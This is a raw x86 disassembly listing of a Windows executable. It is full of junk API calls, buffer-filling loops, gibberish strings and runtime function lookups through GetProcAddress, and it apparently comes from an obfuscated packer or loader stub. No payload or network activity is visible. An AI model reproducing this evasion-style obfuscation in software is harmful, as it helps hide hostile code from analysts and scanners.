push str.Jwoqcaoeakoiueimseidcobedueeeeeoipqiwcpzmepuuopupukiredelibesjjjnuyeelwakzoofujcxiqovdaumugefakuxuoacaxgquyidojmzahmoaquknpfcuguibgorioaqozibaaalfcxuioiaboajkeemuiapufutvowiiaapvnuoeeozixvdobivaejeouiepviyooemeeeuoxereviiajkouriepatuisviamabiielejsmlaiuoaajabebojisefpoaifieyuhqoudalalgjaepeubulooibaiauwfemaaqfiuuomzicjbefeepmxmanecujidavowuycuhtikuuooacokebigooeuuiumrtoboussuamaodiiutunutrunniziabzeyeouhueeuulazdoixaticeziyaiklumiiuwasriojiriiiuijeuepabueieojpuxwudzymguhternoweuoouzijaxaeivanefaucsomsnunapeioiebecinetxvuziffoahifujoxafkotmurwwejuxaxooonufejozeeepueiohsatomaxi
push 1
push 0x800
mov dword [0x6e9a28], eax
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0x374
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x404e78
mov edi, edx
mov ecx, 0x72
mov eax, 0xc4c4c4c4
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x1a
mov eax, 0xc0c0c0c
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, 0x1d1d1d1d
mov edi, edx
mov ecx, 0x71
push edx
rep stosd dword es:[edi], eax
call fcn.0040d9eb
add esp, 4
push 0x2af9
push 0xb45
push 0x7634
push 0x5bc9
push 0x4d02
mov byte [ebp - 0x228], 0
xor eax, eax
mov ecx, 0x13
lea edi, [ebp - 0x227]
rep stosd dword es:[edi], eax
push 0x65e0
push str._d_Dmlu__d_Qpoceeic__d_Geewverik__d_Hceu__d_Zrj__d_Ta
lea ecx, [ebp - 0x228]
push 0x4d
push ecx
stosb byte es:[edi], al
call fcn.0040db84
add esp, 0x24
mov esi, 4
jmp 0x404ed0
push str.Ntxl
xor edx, edx
push str.Cuieiisgcu
mov dword [ebp - 0x1e7], edx
push str._s_Driowawt__s_Vuawloxuc_Wsuafodv
mov dword [ebp - 0x1e3], edx
lea eax, [ebp - 0x1e8]
mov dword [ebp - 0x1df], edx
push 0xe
push eax
mov byte [ebp - 0x1e8], 0
mov word [ebp - 0x1db], dx
call fcn.0040db84
add esp, 0x14
dec esi
jne 0x404ed0
push str.Uusvbi
push 0x32a3
push 0x30e6
push str.Jycix
xor ecx, ecx
push 0x7238
mov dword [ebp - 0x1e7], ecx
push 0xc4c
mov dword [ebp - 0x1e3], ecx
push str._d_Ebk__d_Vwe__s_Bfnexoeeux__d_Oqi__d_Kkhoiaz__s_A_Xekniauece
mov dword [ebp - 0x1df], ecx
lea edx, [ebp - 0x1e8]
mov word [ebp - 0x1db], cx
push 0xf
push edx
mov byte [ebp - 0x1e8], 0
mov byte [ebp - 0x1d9], cl
call fcn.0040db84
add esp, 0x24
mov esi, 3
push 0x344
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x404fe2
mov edi, edx
mov ecx, 0xb4
mov eax, 0x90909090
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x20
mov eax, 0x84848484
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x4f
mov eax, 0xc6c6c6c6
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x20
mov eax, 0xc6c6c6c6
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x1b
mov eax, 0x6d6d6d6d
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x404f76
mov esi, 2
lea ebx, [ebx]
mov edx, dword [0x42527c]
mov eax, dword [str.Peiayifcsuauedoczis]
mov ecx, dword [0x425278]
push 0x801e
push str.Motik
push 0xaf7a
push 0x426678
push str.Got__s_Mesa__d_Keedyo_Dfu__s_Fafm_Bueiounpa__d_Lvofqep_Xp
mov dword [ebp - 0x1e4], edx
mov dword [ebp - 0x1ec], eax
mov eax, dword [0x425280]
mov dword [ebp - 0x1e8], ecx
mov ecx, dword [0x425284]
lea edx, [ebp - 0x1ec]
push 0x13
push edx
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], ecx
call fcn.0040db84
add esp, 0x1c
dec esi
jne 0x404ff0
xor eax, eax
mov byte [ebp - 0x230], 0
push str.Taou
mov ecx, 0x15
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
push str.Kimtyafe
push 0x1540
stosw word es:[edi], ax
push 0x425218
push str.Iaoioizsie__s_Ra__d_Feipgoyj_Eouiaammv__s_Quyivivpzk__s_Uiox
stosb byte es:[edi], al
lea eax, [ebp - 0x230]
push 0x57
push eax
call fcn.0040db84
push 0x421
call fcn.0040db03
mov edx, eax
add esp, 0x20
test edx, edx
je 0x4050fb
mov edi, edx
mov ecx, 0x88
mov eax, 0x45454545
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
or eax, 0xffffffff
mov edi, edx
mov ecx, 0x9c
rep stosd dword es:[edi], eax
mov eax, 0xe0e0e0e0
mov edi, edx
mov ecx, 0x31
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x1f
mov eax, 0x4a4a4a4a
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x9b9b9b9b
mov edi, edx
mov ecx, 0x76
push edx
rep stosd dword es:[edi], eax
call fcn.0040d9eb
add esp, 4
push 0x281
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x40516f
mov edi, edx
mov ecx, 0x9e
mov eax, 0x85858585
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x90909090
mov edi, edx
mov ecx, 0x1b
rep stosd dword es:[edi], eax
mov eax, 0x78787878
mov edi, edx
mov ecx, 0x42
rep stosd dword es:[edi], eax
mov eax, 0xa8a8a8a8
mov edi, edx
mov ecx, 0x1a
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x78
mov eax, 0x82828282
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, 0x3f3f3f3f
mov edi, edx
mov ecx, 0x66
push edx
rep stosd dword es:[edi], eax
call fcn.0040d9eb
add esp, 4
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x18a
mov dword [0x6e99d4], eax
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x4051d5
mov edi, edx
mov ecx, 0x3d
mov eax, 0x9d9d9d9d
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x30
mov eax, 0xf7f7f7f7
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x10
mov eax, 0x98989898
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
push 0x1a5
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x4051ff
mov eax, 0x1d1d1d1d
mov edi, edx
mov ecx, 0x39
push edx
rep stosd dword es:[edi], eax
call fcn.0040d9eb
add esp, 4
push str.Hoeueuouiifiufcetocbaobeuoouaibfzunukoqpleqehipahoralavuvsaomlzhqivnkaqadfmaaoaleagejgpzvevprhkukiiyhapjcioeqaoqcepvfjcutoexdexolguomehubaceaareqraayetiafgulauwhiguiewokoeanorgaokahetebetebvuebkxixacveevuiijgouthiijayyeaueseaqfeajonmaxooowaaowhreffumsucxriligleagofivukebixohamgenoihaevhisoolgiitiowugeoneoriutxocfboaihupshukelumupiucoupucogirouqaaeuigxubxohzieuuamisaoawemqkayekubocoevtaueawdxbakaeahajacinukeeeeamiurkamezbcofuceuujniieijimabenqhixoyaeozekunqyioeyfvojkeouiyopaburuuatacoiaoakwyezeuuvxtitvuufazueinevazkcuvioejokaciiacueyiucuiivehaaqvuueeowuviawkawooafisocezucsobjuleahfevaiataleeyyuugvohehioazesxmmqurguoaeaeaorecalaworubeqafierkieoiaaizaakxuueohqudlaoxineyibibztaiuqaaocevuiuzeoqoiseujragizqvadidizqgepeiugomkzejueduiaakigagahsoauaeokkeixybqvoeametaruoaeokyioyuaezowemiebxeievubofuajoareoumalvumvofjupfumaaajerikaoayxuzpalaivmirpowwuqiotceieuikehjvnooaiboiueofenoxhaiuapuamnogmyrdafvvoleeekixavfaaiijidozamietdottldhevuegwoqooiaojrzozoxisduaamauzijopusexegksihkr
push 0x1a7
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov esi, 2
call edi
dec esi
mov dword [0x6e9a0c], eax
jne 0x405216
mov edx, dword [0x4251cc]
mov eax, dword [0x4251c4]
mov ecx, dword [0x4251c8]
push 0x10
push str.Auaogessoviowornguoqynvoubfapibiiolaeueodikuifvuaaufxusapohuyeiarahpirhiybtafidqyipauooulortxiqajeuqdugarulemgozgeloeoiuehoejelueltikofiaaheduqegfeqaokuiowaioaewayyofmukabeaupfyupiheeztaqonapeewpooeviooeinkemuoxequziheoqhuxemzeakuvenajaoipatiojqodraepoofiayepecehovxumcajpkakubnesnozikwhahiivmudeuzaaewbareciousoqeximiibguxedmmoaueuxamiiipvkecihagaxoaqmopiiuveuiexmazeeoganlpunuooemtotasazitisqiihoaalictvefeweidqufheznahiqppukbiikeuadgretfzdzovionpefohusubenimoucozeesayiieifolsiwkooualpqoaaiyiawaplzuaoguuicopaqxioovueyeidoadiby
push 0xa
mov dword [ebp - 0x3dc], edx
lea edx, [ebp - 0x3e4]
push edx
mov dword [ebp - 0x3e4], eax
mov eax, dword [0x4251d0]
mov dword [ebp - 0x3e0], ecx
mov ecx, dword [0x4251d4]
push 1
push 0x800
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0x3d4], ecx
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0x4251c0
push 0x3a31
push 0x4268f4
xor eax, eax
push str.Ctxukije
mov byte [ebp - 0x520], 0
mov ecx, 0xc
lea edi, [ebp - 0x51f]
rep stosd dword es:[edi], eax
push 0xf28b
push 0x74fe
push str.Garohoay__d_U__d_Iaai_Suo_Igi__s_Zioice_W__s_Buauiemb__d_V__s_Xouubi_Obioxe
stosb byte es:[edi], al
lea eax, [ebp - 0x520]
push 0x31
push eax
call fcn.0040db84
add esp, 0x24
push 0x196
mov byte [ebp - 0x1d8c], 0
xor eax, eax
mov ecx, 0x65
lea edi, [ebp - 0x1d8b]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x1d8c]
push ecx
push 0
push 0
push 2
push 0x800
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
mov byte [ebp - 0x578], 0
xor eax, eax
mov ecx, 0xc
lea edi, [ebp - 0x577]
push str.Ooieyahioa
rep stosd dword es:[edi], eax
push str.Cejpzaf__s_Ykainu
lea edx, [ebp - 0x578]
push 0x32
push edx
stosw word es:[edi], ax
call fcn.0040db84
push 0x17b
call fcn.0040db03
mov edx, eax
add esp, 0x14
test edx, edx
je 0x405391
mov edi, edx
mov ecx, 0x4a
mov eax, 0x38383838
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov byte [edx], 0x40
mov eax, 0x41414141
mov edi, edx
mov ecx, 0x3e
rep stosd dword es:[edi], eax
mov eax, 0xb8b8b8b8
mov edi, edx
mov ecx, 0x54
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x2e
mov eax, 0xa0a0a0a0
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0xc
mov eax, 0x8d8d8d8d
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x9c
mov dword [0x6e99d0], eax
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x405422
mov edi, edx
mov ecx, 0xc
mov eax, 0xa6a6a6a6
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x10
mov eax, 0x86868686
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0xc
mov eax, 0x92929292
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [edx], 0x55555555
mov edi, edx
mov ecx, 0x12
mov eax, 0xc4c4c4c4
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x24
mov eax, 0x5f5f5f5f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
push 0xf860
push str.Seoo
mov ecx, 0x1f
mov esi, str.Veeoeobakacaxwiqyeoiilhipybopayheomibhwkrokdiucucuooluseewuika
lea edi, [ebp - 0x14c0]
rep movsd dword es:[edi], dword [esi]
push str.Nnwugus
push 0x8e1
push 0x2d5e
push str._d_Yeakce__d_Fuo__s_Wazo_Cvog_K__s_Fin_Rfgisuau__d_Maoudubiho_Oughnobeg
lea edx, [ebp - 0x14c0]
push 0x3e
push edx
movsw word es:[edi], word [esi]
call fcn.0040d97b
mov ecx, 0x16
mov esi, str.Deyovewmaiiibmoiwoahjarulotfpaqblobepdubdaleuvsanetbjolxotsewwkqfiquytaiceiojamraaailooi
lea edi, [ebp - 0xdc4]
rep movsd dword es:[edi], dword [esi]
push 0x9b78
push str._d_Ztoa_T
lea eax, [ebp - 0xdc4]
push 0x58
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x30
push str.Faeuvipeoocadrlebaeohajetgeaoovzjydioyerhubvoumigoeulacaseneoetkieniaitukiaoqiopioviqiqaqieoealifoaomebiflyeibtukiakeipoozwiaiauwieiuaenkoneatpiwjeomuaaaikezeokqireyuaotoaylepacocedirexaeueluixcimaaigeaqeseaqpamapegouoeolidpixeeheoecieuaudejllfcukbvojuunuexiceoeaieuuueihfeadognaskutaatfavouoaemfodpovztytaspuieihfheeedbauausoylaodyaekeeuuooaskiexomaliaigaaoreemtkmizrnoeavununukyvajuaoejzaqmobnoiecagilroabogaewheziaeseukaeeuhauifuwyepbuviezpoyezuaioovuduwvameuffyeeohzebhiinueoizwj
push 0x1c0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, 0x1f
mov esi, str.Piueroaoxecedssueofyuumarouskimwlhkiaiiunoeuauroyoauyanefquoolioyadeoysohhnawaweerkeeupocasmbweezgimdexkgutadyiupetuzfqotleupo
lea edi, [ebp - 0x1440]
rep movsd dword es:[edi], dword [esi]
push str.Beov
push 0xaf8b
push 0x1386
push str.Nfxbfasaou
push 0xfabb
movsw word es:[edi], word [esi]
push str._d_Maabdeg_X_Yioe__s_Ioeuzoktte_Daaud_Sjlujejadq__d_Uhbemun__d_Euenouzua_Meopfawaho__s_Xaaimecepj
lea ecx, [ebp - 0x1440]
push 0x7e
push ecx
mov dword [0x6e9a00], eax
movsb byte es:[edi], byte [esi]
call fcn.0040db84
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
add esp, 0x20
mov esi, 9
push 0x196
lea edx, [ebp - 0x370]
push edx
mov byte [ebp - 0x370], 0
xor eax, eax
push 0
mov ecx, 0x65
lea edi, [ebp - 0x36f]
rep stosd dword es:[edi], eax
push str.Kzhxquqakafeyepavopawemiteijterascrurawclowjdalafzfepewavuriqdulhodeajguroyluiluozdegiqamajndfxovolenibonoqerudavagkfqlileiooorraooitjzlnacuujfubjgudueaoeteoetvwihetsdexhuvteaioumaaoauweftoncimhiegintigsomipvsofyjyfouizigucseeruwfiiwuyidawavoaeqejueiwacnafzutovizataaofeyjadrayixuoumuavhevoohtobeiahoeayisuvaeixetaapwiqswdlotioldenoaeuaoolpdaxtyreoyeoawautvalelexinumiuueewakubejoiqbagooeieuieopixiiugozemyyacjzdborvbozazivsfeiyoseusueohukexuiaousxfaabuehamtyiqoiiesuetieajuneogeedapatiiaaajuadoqlooicbvajuiedoajiagutieqxareiuyeladkbelvnijoxaeasewgelouyuigluqggisusymdueuqoiuoiovemurbnwvibiuuwolcuajupoxdpaueiuhoxgaouopaondihurkmeoduiciszulfivirjsebecqbesiiswoeaeayepuqqyuwxflgijajwgoukeeseliiaeaunotniknaeneccophofatoioteudeagakaqirusiouluewlugukltalbsamubwaxxitfooxoviueseprttmarkiobatpieiocaialubnfiriotehaoxouc
push 0
push 0x800
stosb byte es:[edi], al
call ebx
dec esi
mov dword [0x6e9a24], eax
jne 0x4054f4
push str.Uulnyafa
push 0x2b28
push 0xd35d
push 0xf213
push str._d_Ktceieli_Aaont__d_Fmubmou__d_Znqe__s_Ka
lea eax, [ebp - 0x208]
push 0x17
mov ecx, 0xc
mov esi, str.Bhbaaokamyuevjaitatwven
lea edi, [ebp - 0x208]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040d97b
add esp, 0x1c
xor esi, esi
xor eax, eax
mov word [ebp - 0x5470], si
mov ecx, 0x216
lea edi, [ebp - 0x546e]
push 0x42d
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x5470]
push ecx
push 0xc
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea edx, [ebp - 0xdc]
push edx
lea eax, [ebp - 0x10]
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x6e99cc], eax
mov byte [ebp - 0x16d0], 0
xor eax, eax
mov ecx, 0x47
lea edi, [ebp - 0x16cf]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x16d0]
push ecx
push 0x11e
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x6e2
call fcn.0040db03
mov edx, eax
add esp, 4
cmp edx, esi
je 0x405653
mov edi, edx
mov ecx, 0x4d
mov eax, 0x6c6c6c6c
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x156
mov eax, 0x1f1f1f1f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x193
mov eax, 0x43434343
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x1c
mov eax, 0xeaeaeaea
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
mov eax, 0xe7e7e7e7
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
push edx
mov byte [ecx + 0xc], al
call fcn.0040d9eb
add esp, 4
push 0x5795
push 0x17
push str.Xucutu
push 0x424df4
mov word [ebp - 0x8bc], si
xor eax, eax
mov ecx, 0x14
lea edi, [ebp - 0x8ba]
push str.Yeojkifeaw
rep stosd dword es:[edi], eax
push str._s_Hjmesuxi_Jeuatihb__s_Tyekea__s_Gohqqouoil_Ka__d_Qkg_Seaococe__d_N
lea edx, [ebp - 0x8bc]
push 0x29
push edx
stosw word es:[edi], ax
call fcn.0040d97b
add esp, 0x20
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.Sxuhxutaibnoebquzi]
mov ecx, dword [0x424d40]
mov edx, dword [0x424d44]
push str.Aieot
push str.Rbaiy
push 0x8692
mov dword [ebp - 0x17c], eax
mov eax, dword [0x424d48]
push str.Eoaofo
push str._s_Jarx__d_Cnie_Eu__s_Beaoyiweia_Oeoemoaai__s_O_Cu
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x178], ecx
mov cx, word [0x424d4c]
mov dword [ebp - 0x174], edx
mov dl, byte [0x424d4e]
lea eax, [ebp - 0x17c]
push 0x12
push eax
mov word [ebp - 0x16c], cx
mov byte [ebp - 0x16a], dl
call fcn.0040db84
add esp, 0x1c
push 0x40
push str.Auaogessoviowornguoqynvoubfapibiiolaeueodikuifvuaaufxusapohuyeiarahpirhiybtafidqyipauooulortxiqajeuqdugarulemgozgeloeoiuehoejelueltikofiaaheduqegfeqaokuiowaioaewayyofmukabeaupfyupiheeztaqonapeewpooeviooeinkemuoxequziheoqhuxemzeakuvenajaoipatiojqodraepoofiayepecehovxumcajpkakubnesnozikwhahiivmudeuzaaewbareciousoqeximiibguxedmmoaueuxamiiipvkecihagaxoaqmopiiuveuiexmazeeoganlpunuooemtotasazitisqiihoaalictvefeweidqufheznahiqppukbiikeuadgretfzdzovionpefohusubenimoucozeesayiieifolsiwkooualpqoaaiyiawaplzuaoguuicopaqxioovueyeidoadiby
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push 0x424cc8
push str.Bkbi
push 0x7e5c
push str.Yondweeoa
push str.Wzaexivofe
push str.Fjzopahcii
mov ecx, 8
mov esi, str.Juaaqeekiuzatqe
lea edi, [ebp - 0x498]
push str.Foeekicoau__s_Vaz__s_Moexku__s_V_Hohtnifi__d_Fuotk_Ve__s_Xaauaorauu__s_Eeeivaguwe
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x498]
push 0xf
push ecx
mov dword [0x6e99f4], eax
call fcn.0040d97b
add esp, 0x24
lea edx, [ebp - 0x11c]
push edx
lea eax, [ebp - 0x18]
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1d6
mov dword [0x6e995c], eax
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x4057e0
mov edi, edx
mov ecx, 0x20
mov eax, 0xa8a8a8a8
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x6d
mov eax, 0x97979797
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x46
mov eax, 0xacacacac
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x57
mov eax, 0x9e9e9e9e
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
mov dword [ebp - 0x8c1c], 4
lea ebx, [ebx]
mov ebx, 3
jmp 0x405800
push 0x424b8c
push 0x4644
push str.Diijha
mov ecx, 0xe
mov esi, str.Gpeesobeavaiijoudisoimwosworxoqunefijxkdmiqinfhasiazbuww
lea edi, [ebp - 0x210]
rep movsd dword es:[edi], dword [esi]
push str.Meppbaopc
push str.Qeoazod
push str.Siuiooeiv
push str._s_Pjve_Mtaan__s_Caoaeavb_Iaoiiadgo_Os__s_Yoagqu__s_Juszsa_Wa__d_Ji__s_Ascak_Pobebiyobi_Dyuacuzu
lea ecx, [ebp - 0x210]
push 0x38
push ecx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x24
dec ebx
jne 0x405800
dec dword [ebp - 0x8c1c]
jne 0x4057f0
mov esi, 2
jmp 0x405860
push 0x51e6
push 0x5f13
mov byte [ebp - 0x244], 0
xor eax, eax
push 0xe6e
mov ecx, 0x1a
lea edi, [ebp - 0x243]
rep stosd dword es:[edi], eax
push 0xbd6c
push 0x4265fc
push str._s_Iaouaipdue__d_Vouqzo__d_Ckaidiuo_Pas__d_Puxujefia__d_Cooaiive
stosw word es:[edi], ax
lea edx, [ebp - 0x244]
push 0x6b
push edx
stosb byte es:[edi], al
call fcn.0040db84
add esp, 0x20
dec esi
jne 0x405860
push 0xf210
push str.Qoue
push str.Mlevda
push str._s_Rob__s_L__d_W
lea eax, [ebp - 0x1f4]
push 0xd
mov ecx, 7
mov esi, str.Yppahimbzgyuf
lea edi, [ebp - 0x1f4]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040d97b
add esp, 0x18
mov esi, 3
jmp 0x4058f0
push 0x7a7a
push 0x5056
xor ecx, ecx
push str.Fdaem
mov dword [ebp - 0x1eb], ecx
push str.Vqom
mov dword [ebp - 0x1e7], ecx
push str._s_Srbiy_Fui__s_Qzohzi_Jds__d_Kaio_Wozxaeaauu__d_Aaimh_Je
mov dword [ebp - 0x1e3], ecx
lea edx, [ebp - 0x1ec]
mov dword [ebp - 0x1df], ecx
push 0x11
push edx
mov byte [ebp - 0x1ec], 0
mov byte [ebp - 0x1db], cl
call fcn.0040db84
add esp, 0x1c
dec esi
jne 0x4058f0
call dword [sym.imp.KERNEL32.dll_GetACP]
push str.Wwiu
push 0x37a3
push 0x65d1
push 0xb7b
push str._d_Juqnzoy__d_Fuifj_Do__d_Ieiykue__s_C_Booonamuj
lea eax, [ebp - 0xf54]
push 0x33
mov ecx, 0x1a
mov esi, str.Zroileneeavusueutaoounzuknaiwefbeukinliudiweuoramsa
lea edi, [ebp - 0xf54]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040d97b
add esp, 0x1c
lea ecx, [ebp - 0xa0]
push ecx
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x6e99a0], eax
xor eax, eax
mov byte [ebp - 0x7064], 0
mov ecx, 0x1cf
lea edi, [ebp - 0x7063]
rep stosd dword es:[edi], eax
push 0x73f
stosw word es:[edi], ax
lea eax, [ebp - 0x7064]
push eax
push 0xc
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0x31a
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x405a3f
mov edi, edx
mov ecx, 0x84
mov eax, 0xb1b1b1b1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x4f
mov eax, 0xd9d9d9d9
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x4d
mov eax, 0x3d3d3d3d
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x9e
mov eax, 0x9d9d9d9d
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x65656565
mov edi, edx
mov ecx, 0x35
push edx
rep stosd dword es:[edi], eax
call fcn.0040d9eb
add esp, 4
mov edx, dword [0x42492c]
mov ecx, dword [str.Ruaozumiasdudku]
mov eax, dword [0x424930]
push 0x10
mov dword [ebp - 0x3cc], edx
lea edx, [ebp - 0x3d0]
push edx
push 0xe
push str.Jwoqcaoeakoiueimseidcobedueeeeeoipqiwcpzmepuuopupukiredelibesjjjnuyeelwakzoofujcxiqovdaumugefakuxuoacaxgquyidojmzahmoaquknpfcuguibgorioaqozibaaalfcxuioiaboajkeemuiapufutvowiiaapvnuoeeozixvdobivaejeouiepviyooemeeeuoxereviiajkouriepatuisviamabiielejsmlaiuoaajabebojisefpoaifieyuhqoudalalgjaepeubulooibaiauwfemaaqfiuuomzicjbefeepmxmanecujidavowuycuhtikuuooacokebigooeuuiumrtoboussuamaodiiutunutrunniziabzeyeouhueeuulazdoixaticeziyaiklumiiuwasriojiriiiuijeuepabueieojpuxwudzymguhternoweuoouzijaxaeivanefaucsomsnunapeioiebecinetxvuziffoahifujoxafkotmurwwejuxaxooonufejozeeepueiohsatomaxi
mov dword [ebp - 0x3d0], ecx
mov ecx, dword [0x424934]
push 1
push 0x800
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3c4], ecx
call dword [sym.imp.KERNEL32.dll_CompareStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call ebx
mov dword [0x6e9a28], eax
mov esi, 4
lea ecx, [ecx]
mov eax, dword [str.Vuiutiwuu]
mov ecx, dword [0x424920]
mov dx, word [0x424924]
push str.Lustxuuaa
push str.Gyvutog
push 0x424904
push str.Wqn__s_Foqvwaf_Euuayijo__s_Pejcwitooa_Iiwbfoweiy__s_Pniebuko
mov dword [ebp - 0x128], eax
lea eax, [ebp - 0x128]
push 9
push eax
mov dword [ebp - 0x124], ecx
mov word [ebp - 0x120], dx
call fcn.0040db84
add esp, 0x18
dec esi
jne 0x405aa0
push str.Aigijowuoo
push str.Xaeodiau
push 0xcafc
mov ecx, 0x1c
mov esi, str.Grobeobgymvehneadudoeeqosarutuveicjomrotuoveymwuczumhubomoseiihvfitzqcgeqdjabapitqkefeaanepueiaitseidicaqoeaqaii
lea edi, [ebp - 0x1224]
rep movsd dword es:[edi], dword [esi]
push 0x424834
push 0xab14
push 0xc9fe
push str._d_Hoiehozf__d_Lniun__s_Majfpioeo_Pbeazuri__d_Iuerh__s_Aeu__s_Roaplits_Euooromizi
lea ecx, [ebp - 0x1224]
push 0x70
push ecx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
mov ecx, 0xc
mov esi, str.Auoudujltiwezooxxianeuwiqaqexejauhuexoreriuetixezu
lea edi, [ebp - 0x834]
rep movsd dword es:[edi], dword [esi]
push 0x6e8f
push 0x4788
push str.Qeauvaqscu
movsw word es:[edi], word [esi]
push str._s_Ebuudioi__d_Bf__d_Ntuadacuko_T
lea edx, [ebp - 0x834]
push 0x32
push edx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
xor eax, eax
push 0xd041
mov byte [ebp - 0x478], 0
mov ecx, 0xb
lea edi, [ebp - 0x477]
rep stosd dword es:[edi], eax
push str.Uubhaixyuo
push 0x3ecb
push str._d_Qvtnvao__s_Teu_Lom__d_Coii_Dneesoo
stosb byte es:[edi], al
lea eax, [ebp - 0x478]
